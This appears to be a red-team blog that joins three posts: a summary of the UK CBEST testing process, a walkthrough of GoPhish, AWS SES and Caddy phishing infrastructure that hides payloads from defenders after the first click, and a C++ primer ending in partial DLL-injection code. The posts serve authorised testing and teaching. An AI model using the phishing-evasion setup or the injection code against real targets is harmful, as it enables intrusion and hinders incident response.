CBEST Testing Approach Summarised

Overview

The CBEST process is the regulated approach taken to the routine testing of financial institutions with a suitable presence within the UK. It is now a mature process which makes it a useful guide for basing non-regulated red teaming operations on. For example, aligning any deconfliction and pre-testing arrangements on the CBEST approach.

In this post, I’ll summarise the CBEST implementation guide, trying to highlight the key parts where possible! The full guide is available on the Bank of England site, and is worth the read to pick up additional details where needed!

Some of the acronyms used are detailed in the table below.

AcronymMeaning
FMIFinancial Market Infrastructures (e.g. Banks)
FCA/PRAUK Financial Regulators (Financial Conduct Authority and Prudential Regulation Authority)
TISPThreat Intelligence Service Provider
PTSPPenetration Testing Service Provider
CGControl Group (The members of the FMI used to co-ordinate testing)
DRA/DRCADetection and Response Capability Assessment (A tabletop exercise to assess the ability of the blue team to respond to and contain the active testing element)
TIThreat Intelligence
PTPenetration Testing (Often used to refer to the active red team testing phase)
PIDProject Initiation Document
Table of Contents

    CBEST Concepts

    Triggers

    To commence a CBEST test, one of several triggers can be used:

    • The regulators (FCA/PRA) requesting a CBEST exercise as part of the regular schedule
    • The FMI requesting to perform a CBEST, with regulatory approval
    • In response to an event/incident

    Stakeholders

    There are 4 key groups of stakeholders:

    • The regulators
    • The control group at the FMI
    • The Threat Intelligence Service Provider (TISP)
    • The Penetration Testing Service Provider (PTSP)

    Regulators

    The regulators will perform several steps:

    • Oversight of CBEST outcomes and remediation
    • Receiving and reacting to high priority outcomes from the TI and PT phases
    • Reviewing reports to determine thematic findings

    Control Group

    The control group will appoint a Control Group Coordinator (CGC) who will oversee the engagement and coordinate activities within the Control Group (CG), approval is required from the regulators before any changes are made to the CG.

    The CG must include only the bare minimum required employees to safely run the engagement, typically this would be senior leadership (COO, CISO), as well as a senior SME of the applications/systems to be tested. Third parties can be included in the CG, with a separate process detailing that!

    The CG has several main responsibilities:

    • Ensuring the requirements of the CBEST implementation guide are met
    • Creation and maintenance of a project plan and risk register
    • The CBEST process is delivered in a risk controlled manner
    • Secrecy of the testing being maintained
    • Coordination between the regulators, TISP and PTSP

    There are also several smaller tasks which the CG handles:

    • Determining a code name/project name for the testing
    • Redacting any sensitive information from reports before sharing with the regulators
    • Producing a Project Initiation Document (PID), including the CBEST management plan along with specific plans from the TISP and PTSP

    Risk Management

    The CG needs to make a risk management plan, aiming to mitigate all risks wherever possible in advance of testing beginning. This will require regular updating throughout testing to ensure it remains relevant.

    Threat Intelligence Service Provider

    The TISP has the following responsibilities:

    • Providing an external TI view of the FMI
    • Determining realistic threat profiles for the chosen CBPs for use in subsequent stages
    • Complete the Threat Intelligence Maturity Assessment (TIMA) on the FMI
    • Providing an early view of the TI report to the PTSP to ensure it is satisfactory
    • Provide input to the PT phase and the final report as required. 

    Penetration Testing Service Provider

    The PTSP has the majority of the responsibilities:

    • Working with the TISP to ensure the TI report is sufficient from an early stage
    • Design and plan the PT phase based on the information provided by the TI report
    • Agree a risk management process with the CG
    • Perform the red team testing
    • Provide regular updates on testing
    • Complete the Detection and Response Capability Assessment (DRCA)
    • Produce the final report
    • Share feedback with the regulator during the debrief call

    Phases Overview

    There are 4 phases to CBEST:

    • Phase 1 (Initiation, 4-6 weeks)
      • Scope is determined by regulators
      • TISP and PTSP approached by CG
      • Consists of:
        • Launch
        • Engagement
        • Scoping
        • Procurement
    • Phase 2 (TI Phase, 10 weeks)
      • TISP produces the TI report
      • PTSP takes the TI report and produces a penetration testing plan as a result
      • Consists of:
        • Direction
        • Intelligence
        • Validation
        • TI Assessment
    • Phase 3 (PT Phase, 14 weeks)
      • The intelligence-led penetration test is performed
      • DRA and TIMA are produced by the PTSP and TISP respectively
      • Consists of:
        • Planning
        • Execution
        • D&R Capability Assessment (DRCA)
        • Review
    • Phase 4 (Closure, 4 weeks)
      • Debrief held between all parties
      • Remediation plan produced by CG and overseen by regulators
      • Consists of:
        • Remediation
        • Debrief
        • Supervision

    Initiation

    Launch

    The regulators will contact the FMI with a notice of the CBEST process beginning, which must ‘start’ within 40 days. During this initiation phase, several items will be decided, such as:

    • Aims of the testing
    • The roles and responsibilities of the CG
    • Configuration of secure transfer solutions/communication platforms
    • Contractual and legal requirements
    • The members of the CG and their responsibilities 

    Engagement

    The ‘Engagement’ process is only complete when the following items have been done:

    • The ‘Kick Off’ meeting, between the CG and regulators
    • The regulator and CG agree the key stakeholders and responsibilities

    Scoping

    The ‘Scoping’ process involves the identification of IBS/CBP’s in-scope for testing, as well as which section(s) of the CIA triad these systems will be tested against. E.g. IBS123 to be targeted for confidentiality and integrity (CI). 

    A scoping meeting is then held between the regulators and the CG to discuss and agree this scope. The CG will respond to this proposal by identifying the key systems which underpin these IBS/CBPs, as well as justifying why the given systems were chosen. 

    At this point, third party providers may be identified for inclusion in subsequent testing or being read-in to testing. They need to be aware of the strict secrecy and confidentiality requirements.

    Finally, the CG and regulators agree the compromise actions to be taken by the testers. This is then considered within the TI report.

    The ‘scoping’ stage is completed when:

    • The regulator, CG and CBEST executive/sponsor has approved the ‘Scope Specification Document’
    • CG and regulator agree indicative CBEST timeline
    • CG conduct risk assessment
    • CG produce the PID, which includes:
      • Governance & Risk Assessment
      • Project Plan
      • Connect lists etc

    Procurement

    At this stage, the CG will engage with approved CBEST providers for both the TISP and PTSP. After determining an appropriate provider, contracts should be exchanged, containing the required legal and privacy clauses from the regulators. The PID is then completed, including the final schedule of meetings for the FMI and regulator.

    Testing cannot progress past this point until ‘[it is] confirmed to the regulator that appropriate legal contracts are in place between the firm/FMI and the TISP/PTSPs.’

    The PTSP needs to ensure the appropriate permissions and approvals are in place for testing, such as rules of engagement. There are requirements for the CG to notify the regulators if they believe that the testing provider loses their CREST-supplier status or are using unqualified staff during testing, for example they must have a CCTIM, CCRTS and CCRTM qualified testers.

    On the flip side, the testing providers must report to the regulator if they believe the testing process is being ‘manipulated’, such as through informing the SOC of testing or by placing pressure on the testing provider to present a more positive view.

    TI Phase

    Following the Initiation phase, the TI phase starts with the TISP. The PTSP is only included when threat scenarios have been produced. The aim of the TI Phase is to assess the external perimeter of the FMI, produce accurate threat profile(s) for specific threat actors and to help shape the testing performed in the PT phase, this is referred to as the ‘golden thread’ – linking TI through to the PT phase and final report.

    To initiate this phase, the CG can direct the TISP, using information from the FMI’s TI function, so long as the secrecy of testing is preserved. The TI provider then analyses a range of TI sources, presenting it back the regulator and CG during the validation workshop.

    This phase also includes a Threat Intelligence Maturity Assessment (TIMA), though this can be completed after the PT phase has concluded to maintain secrecy.

    There are 4 steps to this stage:

    • Direction
    • Intelligence
    • Validation
    • TI Assessment

    Direction

    To start this phase, the CG send the CBEST Scope Specification to the TISP, informing them of the systems in scope, it is recommended for this scope to also be sent to the PTSP to prepare them in advance.

    Due to the often limited public information or highly bespoke nature of some of the in-scope systems, the CG are expected to provide some supplementary information to the TISP to assist with their research. This is done to create a ‘grey box’ approach to testing, allowing for simulation of testing without requiring the testers to break any legal or ethical considerations. 

    Some examples of this information are:

    • Organisational structure (Branding, IT service providers, physical locations)
    • Business and technical overviews for each in-scope system
    • A current FMI TI report, with sources
    • Various identifying details (Domains, IP ranges, social media etc)
    • Known cyber attacks (Known leaked data, DLP strings)
    • Details to identify unknown attacks (Project names, naming conventions etc)

    This data is captured in a ‘IBS-focused Threat Intelligence plan’ produced by the TISP. This is sent to the FMI who then distribute to the PTSP.

    The PID is then updated, with the regulator being made aware of any key changes to the risks.

    Intelligence

    During this data gathering stage, 2 key types of data are gathered:

    • Targeting (Attack surface)
    • Threat intelligence (To develop testing scenarios)

    Should a significant vulnerability be discovered, then the TISP must notify the regulators and FMI. The FMI can patch it but may have to grant representative access to the PTSP during the PT phase. It is expected that the TISP minimise their chance of being detected, relying on passive means where possible. 

    Targeting

    This section is intended to be broadly scoped, under the assumption that a threat actor would likely compromise unrelated infrastructure in order to move laterally towards the targeted systems. This should include a range of details on the attack surfaces of people, processes and infrastructure belonging to the FMI. This can include customer data or leaked information. 

    This section results in the ‘Targeting Report’, which feeds into the TI Report. 

    Threat Intelligence

    This section focuses on key threats to the FMI as a whole, with detailed sections on the greatest threats and scenarios which the threats may look to exploit. This builds upon the data gathered in the Targeting Report, taking any identified assets and including them in the proposed scenarios. If relevant data can’t be found, then a more generic attack is planned.

    Each scenario must map to at least 1 of the identified IBS’s, including technical information for a likely scenario:

    • Objectives/targets for the attack 
    • Information on the threat actors
    • TTPs to be used
    • The stages of the attack are explained using a framework such as MITRE ATT&CK or the Cyber kill chain

    This output is meant to direct the PTSP during the testing, with the following key outcomes:

    • Accurate scenario setting and guidance for the PTSP 
    • The ‘flags’ to be captured as part of for the various objectives
    • A narrative/evidence for the FMI to use to justify remediation and improvement following testing.

    Scenario Development

    Following development of the TISP, the PTSP will produce a draft penetration test plan. This is the transition between the TISP and the PTSP, and is led by the PTSP.

    It is expected that several scenarios may contain common elements for efficiency, but then branch out to various actions on objectives. It is key that all of the testing maps back to the details within the Threat Intelligence Report and the IBS’s to be targeted.

    The TISP and PTSP are meant to produce the most relevant path an attacker could take to perform the test actions. This should be done using a visual representation, using standard attack framework terminology (MITRE ATT&CK and Cyber Kill Chain). Using a visual representation helps the CG, FMI and regulator to show the mapping from high level plans through to technical implementation and any defensive controls which may be impacted. By collaboratively producing this document, a blend between threat intelligence accuracy and realism for implementation can be achieved. 

    The visual diagrams need to be used by the PTSP as part of their PT update to the regulators.

    Malicious insider and supply chain scenarios ‘should always be analysed and discussed during CBEST’. By the PTSP and TISP working closely with the CG, the feasibility of various scenarios can be considered to make a realistic attack plan for the RT stage. This may also include detailed considerations such as the type of account required and access level. The CBEST guidance recommends using staff or third parties to increase realism of the testing. This may require extensive pre-planning to ensure the relevant agreements and NDA’s are in place.

    The CBEST process recommends against performing DoS or physical attacks. They also recommend against testing to gain representative access, instead the PTSP should actually perform the action. For example, modifying a production website rather than simply gaining sufficient privileges to do so. They recommend this style of ‘proving acccess’ testing is conducted outside of the CBEST process. This is due to the level of simulation involved in such testing, leading to a lack of real-world outcomes. 

    During testing, other attack paths may be identified which again should be tested after the CBEST process has concluded. 

    TI Reporting Process

    The process of delivering the TI and Targeting report is in several steps:

    1. the TISP produces a first draft for delivery to the CG;
    2. the CG forwards the draft documents to PTSP;
    3. the TISP subsequently holds an Intelligence workshop with the CG and the PTSP to discuss the draft report and obtain feedback;
    4. after the Intelligence workshop (between the CG, TISP and PTSP), regulator may ask to hold a mid-point workshop where the TISP presents a summary of the TI assessment.
      1. If a draft of the Targeting Report and Scenarios are available, the workshop can be used to have a preliminary discussion on the TI assessment so far and planning, ahead of the Validation;
    5. the TISP produces a revised second draft for delivery to the CG.

    Once the CG has received the revised second draft, the following activities take place:

    1. The CG forwards the Threat Intelligence Report and Targeting Report to the regulator and/PTSP; both draft and final versions of the Threat Intelligence Report and Targeting Report are sent to the regulator to give them sufficient time (at least one week) to review the reports prior to the Validation workshop.
    2. Validation workshop is held.
    3. After the Validation workshop the TISP makes any further changes to the two reports and issues the final versions for delivery to the CG which then forwards the documents to the regulator and PTSP.
    4. Only when regulator feedback has been incorporated into the Targeting Report and the Threat Intelligence Report, can these be deemed final.
    5. Final reports cannot be shared more widely than with the CG, within the participant/firm, until the entire CBEST process has been completed.

    Validation

    The validation workshop is a 3 hour workshop involving all CBEST stakeholders (CG, TISP, PTSP, regulator). The following activities are performed:

    • The TISP presents the Targeting and TI Report
    • The regulators provide feedback on both reports
    • The PTSP presents the draft Penetration Testing Plan. This includes detail on the mapping of the TI scenarios to IBS’s and the various parts of testing (Risk mitigation plans, escalation procedures, estimated delivery dates and so on)

    The TISP then produces a final version of the their reports for the CG, who then forward it onto the PTSP and the regulator. This handover marks the formal handover from TISP to PTSP.

    The PTSP should revise their documents to reflect any changes. The CG may need to update their PID based on the details discussed. This may lead to key stakeholders being notified of any key changes (Such as increased/changed risk involved with testing).

    Threat Intelligence Maturity Assessment 

    The TIMA is part of the TI phase, but is typically conducted after the PT phase to prevent drawing attention to the activity. This feeds into the review workshop along with the DRA. 

    The aims of the TIMA are to objectively assess the FMIs cyber security capability, gain greater understanding about the capability of the wider FI sector’s capability and to raise increased awareness within the FMI on its TI capability. 

    Relevant, senior employees should be leveraged to perform this assessment, third parties can be included where appropriate if some functions are outsourced. All data collected must be reviewed and validated by a CREST Certified Threat Intelligence Manager (CCTIM).

    The process for the TIMA is:

    1. The regulator provides the TIMA document and CREST Threat Intelligence Maturity Assessment Tool to the FMI
    2. The TISP holds a meeting with the FMI to handover both documents and explain their usage/the wider TIMA process
    3. The FMI self-assesses its capability across each of the ‘Capability Indicators’ (CI), along with gathering relevant evidence.
    4. A meeting is held between the FMI and the TISP to present evidence and agree final scores
    5. The TISP provides the CG and regulator the Intelligence Assessment Report, summarising the findings
    6. The outcomes are discussed during the final PT Review Activity, with any recommendations being covered within the CBEST Remediation plan.

    Penetration Testing Phase

    This phase should take around 14 weeks, delivered by the PTSP. At the beginning of this phase, the PTSP produces a risk management plan to prevent issues from occurring. 

    There are 4 steps to this phase:

    • Planning
    • Execution
    • Detection and Response Capability Assessment (DRCA)
    • Review

    Additionally, the TIMA is also completed, though this is officially within the TI Phase. 

    Planning

    The planning phase takes the CBEST Scope Specification and both the TI and Targeting report to produce the PT Plan. It is expected that the PT Plan should be able to accurately replicate the various threat actors and TTPs identified within the TI phase. The PTSP needs to ensure a risk management plan is produced to reduce any risks which the FMI could be exposed to during testing. 

    It is expected that all scenarios must be suitably tested, if there is not sufficient time during testing then an extension should be considered. This is particularly important for more resource-intensive scenarios where dedicated environments or assets are required, such as simulating a malicious insider.

    The final output is the Penetration Test Plan (PT Plan), which is accompanied by the Penetration Test Risk Management Plan, which is delivered to the FMI and the regulator. This document maps the proposed testing back to the scenarios from the TI Report and to the IBS’s from the CBEST Scope Specification. The report should also include the testing plan and attack plan, described using established frameworks such as MITRE ATT&CK or Cyber Kill Chain.

    For each step of the kill chain, the following description should be produced:

    • Prerequisites to be implemented ahead of the execution of the action
    • The target action/flags
    • The success criteria or expected result of the actions
    • The possible de-chaining actions and criteria to be met to request the information of the CG
    • Expected timeline for each de-chaining action

    Execution

    It is expected that all testing is conducted using live, production assets unless of legal/ethical constraints. Should there be any changes to the scenarios from what was produced in the TI Report, then the CG and regulator as required. Dechained or ‘leg up’ actions are permitted, but must be agreed by the regulator and noted within the PT Report. 

    Regular updates must be provided to the regulator and CG as testing progresses. Updates should detail the status of testing, progress towards ‘flags’ and any risks/issues. These meetings can be conducted whenever, but are typically weekly. 

    The draft PT report is produced typically within 2 weeks of the end of testing. The report must contain:

    • Executive summary for the Board and Senior Executive
    • Executive summary for technical leaders (eg COO, CIO, CISO, etc)
    • Description of results in relation to the scenario and target actions in scope
    • Summary of the findings
    • Detailed description of the findings and recommendations for the firm/FMI
    • Breakdown of the scenarios, describing the progress made by penetration testers in terms of their journey through the various stages of each threat scenario.

    All sensitive/identifiable information must be redacted before sharing with the regulator. This includes names, IPs, server details etc. 

    Assessment

    Before the final review activity, the Detection and Response Capability Assessment (DRCA) is performed by the PTSP. this also has ‘Capability Indicators’ (CIs) like the TIMA, which are both qualitative and quantitative. This is a similar process to the TIMA, though is focused on the response and SOC capability, as opposed to the TI function. 

    The FMI must provide relevant staff members to answer the assessment, with the PTSP providing a CCSAM to evidence and validate the responses. This must be conducted and returned to the regulator no more than 2 weeks after completion of testing. 

    Review

    The CG, regulators, PTSP and TISP hold a ‘Review Workshop’ to review the draft penetration testing report, DRCA, TI findings and recommendations from the TIMA. These are broken down as follows:

    1. PT test performance and identified vulnerabilities (led by the PTSP)
    2. Firm/FMI’s D&R capability (led by the PTSP)
    3. Review of TI findings and recommendations (led by the TISP)
    4. Firm/FMI’s TI maturity assessment (led by the TISP)
    5. High-level discussion on mitigating factors and proposed remediation (led by the CG)

    For each stage of the testing, the PTSP discusses the progress made and what could have been achieved with more time/resources. Scenarios which were impracticable, unsuitable or not chosen for testing can be discussed for consideration for future testing by the CG/FMI. It will be checked that the scope has been sufficiently covered by the testing. 

    The output of this is the final PT Report, for delivery to the FMI, who forward it onto the regulators.

    Closure Phase

    The final phase of testing leads to the development of the remediation plan. The 3 key phases of this are:

    • Remediation
    • Debrief
    • Supervision

    Remediation 

    The CG produces a remediation plan in response to the final TI and PT reports, aiming to remediate the issues identified by both assessments, as well as key issues from the DRCA and TIMA. The CG and regulator meet to discuss this draft plan, with feedback given by the regulator to shape the final remediation plan. This final plan is delivered to the regulator.

    This final plan should capture the risk and impact assessments from the FMI, showing how they translate into business risk against the IBS’s. The final plan requires input from the board, senior management, risk owners and risk management functions. Technical remediation needs to be agreed with technical leaders and relevant SMEs. The wider findings from the CBEST process can then be shared across the FMI to more generally improve processes and function. 

    Debrief

    At the end of the CBEST Assessment, representatives from the TISP and PTSP meet with the regulator to discuss:

    • What activities and deliverables went well/what could have been improved
    • Which aspects of the CBEST process went well/what could have been improved.
    • Other miscellaneous feedback

    The output of this is logged by the regulator to improve the CBEST process.

    Supervision

    Following completion of this assessment, the regulator oversees the progress of the remediation plan with regular meetings over a 6-12+ month timespan. The FMI is expected to notify the regulator as remediation actions are closed.

    Thematics

    After the CBEST process is completed, the regulator may produce thematic analysis of themes across multiple CBEST engagements. The anonymised report is produced by the FCA and PRA alongside the NCSC to improve resilience across non-FI firms. 

    Conclusion

    Hopefully this summary of the CBEST Implementation Guide was useful! If you are looking to implement this or learn more about specific aspects, then I would recommend reading the full guide, as well as picking up a copy of ‘Red Team Development and Operations: A Practical Guide’ by James Tubberville and Joe Vest, which is an excellent reference!

    One Time Phishing Links With Caddy & AWS SES

    Caddy has long caught my attention as a much nicer alternative to Apache or Nginx which has been widely used by red teams over the years. As a bit of a project to learn more about Caddy and GoPhish, I wanted to try and combine the two to create one time phishing links by leveraging the GoPhish API.

    This technique is commonly used as an anti-analysis technique, by offering a payload to the 1st clicker of a link, then offering a non-malicious payload on any subsequent investigation. This can be tweaked based on the environment which you are facing, as you might not always want the link to only be used once. If you read @APTortellini’s post, you can see how else we could extend this…

    GoPhish Setup

    To start, lets install GoPhish. As this is not to be used in a real engagement/I am being lazy, I will take the pre-built version from their releases.

    After unzipping the file, I made the gophish file executable and ran it which exposes a local webserver on https://localhost:3333. This is used to control the server, the initial sign-in details are put into the console for us.

    AWS SES Setup

    In order to actually send emails, we need to set up an SMTP server for us to send from. Unfortunately this is against the terms of most of the big cloud providers, but I will use AWS SES, as it is low cost option for sending emails out. This does have notable drawbacks for offensive usage, as you will be banned if they receive abuse notifications.

    Regardless, it will be fine for a quick and dirty PoC of single usage phishing infrastructure! Below is the cost at the time of writing:

    One of the main drawbacks is that we can only send emails to verified email addresses. Lets verify ownership of our target email.

    After clicking on the link in the email, we are verified!

    We will now create SMTP settings within SES.

    I will create a user and then download the credentials from the next page. I will also verify a second email address within SES. This means I can send emails to an actual inbox, rather than the default SES sandbox.

    GoPhish Campaign Creation

    Back in GoPhish, I will add these SMTP settings into a Sending Profile

    I then used the Send Test Email button to verify I had configured this correctly. We then receive the following email in our targets mailbox:

    With this working, I configured some basic templates, groups and landing pages in GoPhish. I then configured a Campaign and launched it.

    After sending, we get a really clean looking UI within GoPhish, showing we have managed to send out our email.

    This page will also show details on who we have targeted and key events on a timeline.

    Caddy Setup

    Now lets spice it up a little and add some phishing payloads into the mix. We can very easily include an HTML link and send users onto our payload server, which works fine for basic payloads but would mean our payloads could be downloaded by the blue team!

    Using Caddy, we can make a basic payload server which will allow us to allow or deny file downloads based on their suffix. For instance, the Caddyfile below will sinkhole any traffic which isn’t to a /downloads/* URL, and will only serve the payload to those URLs within the valid_download_prefixes list – we will generate these later on!

    # Only handle traffic which matches our download URL
    handle /downloads/* {
        # Only allow downloads from explicitly set URLs.
        @valid_download_prefixes {
            import ../filters/valid_download_urls.caddy
        }
        
        # Handle requests which contain a valid prefix
        route @valid_download_prefixes { 
            import valid_download.caddy 
        }
    
        # By default, assume we will block downloads as being expired
        import expired_download.caddy
    }
    
    # A catch all to sinkhole any other traffic which doesnt match a URL above.
    handle {
        import sinkhole.caddy
    }
    

    For example, if we set the valid_download_prefixes.caddy file to include path *abc123, then only URLs which end in abc123 will be allowed to download the file, such as /downloads/SOME_TEXTabc123. This is better, but still means that when a valid URL is obtained, then the payload can be downloaded multiple times.

    For example, if we apply this configuration, then any URL ending in abc123 will receive the legitimate payload.

    But if we try with an ‘invalid’ URL, we get the following error message.

    And if we are barking up entirely the wrong tree then we can show a completely different error message via the final handle statement above.

    GoPhish API

    Using Python and the GoPhish API, we can add some logic to make these URLs only be valid for a single click. First we will need to obtain an API key for GoPhish by visiting the /settings URL. I then installed the official Python library.

    We will then get the details on a specific campaign (Assuming we use 1 payload server per campaign). In this case, we will use Campaign 9.

    campaign_name = "Campaign 9"
    campaign = next((x for x in api.campaigns.get() if x.name == campaign_name), None)
    
    if not campaign:
        print(f"Campaign name '{campaign_name}' not found in GoPhish. Try again!")
        exit()
    
    # Now lets get the unique ID given to all of the targets.
    for result in campaign.results:
        print(f"query id={result.id}")
    
    

    We can take these ID’s and edit the valid_download_urls.caddy file, so that only the IDs generated by GoPhish will work.

    Looking at the output of the API, our target was given the ID of b5KcKSx:

    The Python script will then parse this out and add an entry to our filter in Caddy. For this example, it will require the id parameter to contain this unique ID in order for a legitimate payload to be delivered.

    query id=b5KvKSx
    

    Now we have an auto-generated phishing URL based on the values from GoPhish. If we now access our final URL, then any requests to the /downloads folder containing a query parameter of id=b5KvKSx will obtain the payload.

    If a different query parameter is used, then they will get a different response. In this case we will show an ‘expired’ message to add legitimacy, but this could be replaced with anything.

    So we are a step closer now, but this isn’t a one time phishing URL just yet!

    One Time Phishing

    We can use the access logs generated by Caddy to generate a list of visited URLs, which we can then parse to ‘invalidate’ (i.e. redirect traffic) any of our download links. We can easily do this with a command to find the URLs we visited earlier:

    With a Python script, we can check for any visited URLs and remove them from our explicitly-allowed Caddy filter. If we loop over this every minute or so, a download link will only remain active for a minute before ‘expiring’. We could shorten this interval to create a true ‘single use’ phishing link.

    Lets try this out using a new campaign, so that we have new unique IDs:

    We can now visit the download page and get our payload.

    And after a minute, the download expires and the filter is updated so that only 1 ID is able to obtain the payload.

    If we attempt to re-download the file, then we get an error message. This message would then be shown to any future visitors, such as a blue team response, or a email security product attempting to investigate a reported email.

    Deez WORDS – An Intro To C++

    When I first started learning C++, I found a lot of the terms hard to pick up after using C# and Python for so long. Given some of the conventions are not all that visible, I figured it would be handy to pull them together into a cheatsheet/blog post.

    In this post I will cover those basic terms, as well as some terminology for offensive C++ and finally cover a basic example of process injection, using DLL Injection.

    Syntax

    Below are some examples of the syntax used within C++.

    PhraseMeaningExample
    ->Access members of a structure or union using a pointer.
    This is basically the same as doing object.parameter in most OOP languages, though most OOP languages don’t support pointers.
    p_foo->bar
    .Access members of a structure or union. The same as doing object.parameter in most OOP languagesp_foo.bar
    &Depends on where it is used. In functions it would mean a reference to an object.
    For example, someFunc(&myParam) would pass a reference to the myParam variable.
    &foo_bar
    *A pointer. Generally it is recommended to use references where possible!string* foo
    ::The ‘Scope Resolution Operator’, used to clarify which namespace the function belongs to.std::cout
    <<Used with std::cout to write to the ‘standard output’. Aka print something to the console 
    >>Used with std::cin to read from the ‘standard input’. Aka reading from the console. Similar to input() in python. 
    Std::Core functions within C++std::cout
    L""The string will be stored as wchar_t characters.L"Some Value"
    #pragma Allows for additional information to be provided to the compiler#pragma once
    #include Include a header file when compiling the code. Conceptually similar to using within C# or import in Python#include <Windows.h>

    API Naming Conventions

    Windows APIs come in many flavours, and it can be hard to know which one to use at the start! Some of the most common prefixes and suffixes are below. A further reference can be found here.

    PhraseMeaningExample
    Nt*Functions within ntdll.dll. These are mostly undocumentedNtOpenProcess
    Zw*See above, the prefix ‘Zw’ was chosen so as not to clash with other function names.ZwOpenProcess
    *AFunctions which use ANSI strings Parameters will follow the variable format of ‘LPC_’, for example any strings would be the LPCSTR typeMessageBoxA
    *WFunctions which use Unicode strings This is the default character encoding used in Windows Parameters will follow the variable format of ‘LPCW_’, for example any strings would be the LPCWSTR typeMessageBoxW
    *ExTypically handles overloaded/extended versions of a function. I.e. NtCreateThreadEx contains additional options over NtCreateThread.NtCreateThreadEx

    NtFunctionName refers to functions within ntdll.dll. For example we can call OpenProcess via kernel32.dll, which will ultimately call NtOpenProcess via ntdll.dll.

    Variables

    There are a huge number of variable types within C++, the Microsoft documentation covers them well.

    Naming Conventions

    A lot of guides and documentation make use of ‘Hungarian Notation’, where the data type is included in the variable name (e.g. hProcessInfo, for a handle to the process information or a PROCESS_INFORMATION structure). This is discouraged by Microsoft, but it is still widely used!

    Microsoft does have a handy list of common prefixes, some of the most common ones are:

    ExampleMeaning
    lp*A Long pointer value
    b*A boolean value
    dw*DWORD
    h*A Handle
    cb*Count of bytes (e.g. To store how many bytes to allocate for something)

    IAT & Reloc

    Two key parts of PE injection are the Import Address Table (IAT) and the Base Relocation Table (Reloc Table). MalwareTech has a great explanation of these, which I will paraphrase here.

    IAT

    The IAT contains addresses of all the functions within the DLL, so that when the PE is loaded the addresses can be easily found & loaded, without having to modify the code of the DLL. This can be ‘poisioned’ by a technique known as IAT hooking.

    Reloc Table

    Whilst most addresses used within a DLL are relative, some will use absolute memory addresses. This table tracks the absolute addresses used in the DLL. I found this a somewhat confusing concept to get into my mind, but this StackOverflow answer contains a helpful diagram to show how RVA’s, blocks and offsets work together!

    P/Invoke vs D/Invoke

    P/Invoke (Platform Invoke)

    This is basically a way of calling C/C++ APIs directly from C# ‘code’. It is produced by Microsoft, who officially describe it as:

    “P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code”

    https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke

    P/Invoke allows us to take greater control over the way in which the underlying Windows APIs are called by compiled C# code. We can call functions in very specific ways that might not otherwise be supported with vanilla C# alone.

    D/Invoke (Dynamic Invoke)

    Dynamic Invocation (or D/Invoke) is detailed by The Wover in their blog post introducing the toolset. This is described as:

    Presenting DInvoke, a new API in SharpSploit that acts as a dynamic replacement for PInvoke. Using it, we show how to dynamically invoke unmanaged code from memory or disk while avoiding API Hooking and suspicious imports.

    https://thewover.github.io/Dynamic-Invoke/

    It is maintained by The Wover as part of an open-source project. Its main aim is to prevent suspicious API calls being included in the Import Address Table (IAT) of the executable. This means that unmanaged code (aka C/C++ ‘code’) can be called directly from C# in a more stealthy way.

    Making A Basic DLL

    Before we start playing with process injection, we want a DLL which will show it has run successfully. For this I will use a MessageBox as it is very visible!

    There are several examples out there for how to make a DLL, but I wanted to learn how to do it myself:

    I struggled with this, until I realised that the new Universal Windows Platform DLLs have a number of quicks over the ‘classic’ DLLs. This was solved by downloading the C++ Development Plugins for Visual Studio. We can then create a basic DLL using the following code

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <pch.h>
    
    extern "C" __declspec(dllexport)
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
        switch (ul_reason_for_call) {
            case DLL_PROCESS_ATTACH:
                MessageBox(NULL, L"Hello world!", L"Hello World!", NULL);
                break;
            case DLL_THREAD_ATTACH:
            case DLL_THREAD_DETACH:
            case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
    }
    

    We can compile it in Visual Studio and test it works with the command rundll32.exe DLL_NAME.exe,DllMain

    Getting a PID from a process name

    To resolve a process name into a PID, we can use the section of code below from Sevagas. This is pretty much boiler plate code, but it will help us when debugging our injection techniques (as we don’t have to hard code or supply a new PID each time!). This is purely optional in our process injection technique, as we can instead just supply the PID we want to target.

    // Standard function to get a PID from a executable name
    // We can avoid this by supplying the PID directly.
    
    DWORD GetProcessIdByName(LPCWSTR name)
    {
    	PROCESSENTRY32 pe32;
    	HANDLE snapshot = NULL;
    	DWORD pid = 0;
    
    	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (snapshot != INVALID_HANDLE_VALUE)
    	{
    		pe32.dwSize = sizeof(PROCESSENTRY32);
    
    		if (Process32First(snapshot, &pe32))
    		{
    			do
    			{
    				if (!lstrcmp(pe32.szExeFile, name))
    				{
    					pid = pe32.th32ProcessID;
    					break;
    				}
    			} while (Process32Next(snapshot, &pe32));
    		}
    		CloseHandle(snapshot);
    	}
    	return pid;
    }
    

    DLL Injection

    This is the ‘classic’ process injection technique, as covered by T1055.001. Below is a high level view of the APIs we will call to perform this type of process injection. Don’t worry if a lot of this seems alien, we will cover it later on!

    Process

    1. Drop our malicious DLL to disk
    2. Here we can provide a PID of a process to inject into, or find a target process to inject into programatically
    3. If we want to auto-find a process to inject into, then we need to:
      1. Use 3 key APIs (CreateToolhelp32Snapshot, Process32First, and Process32Next)
      2. CreateToolhelp32Snapshot creates a snapshot of all processes.
      3. The other two iterate over those processes.
    4. Use VirtualAllocEx to allocate memory to write a path to the DLL on disk from step 1
    5. Then WriteProcessMemory to actually write the path to the DLL into the space we just allocated
    6. Then use CreateRemoteThread or RtlCreateUserThread to execute the DLL we just loaded
      1. Under the hood, both of these functions call NtCreateThreadEx.
      2. CreateRemoteThread will run into issues when attempting to inject into processes from a different session from Vista onwards (Link 1, Link 2). To do this in Vista+, we need to use NtCreateThreadEx.
      3. As pointed out by this post, Mimikatz uses RtlCreateUserThread under the hood
    7. This in turn will run LoadLibrary in the remote process and load our DLL.

    Code

    Using iRed Team’s post for guidance, lets make our own DLL Injection script. This example will take 1 argument (argv[1]), which is the PID to inject into.

    #include <iostream>
    #include <Windows.h>
    
    int main(int argc, char* argv[])
    {
    	wchar_t dllPath[] = TEXT("C:\\Users\\User\\Documents\\Excluded\\MessageBox.dll");
    	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
    
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
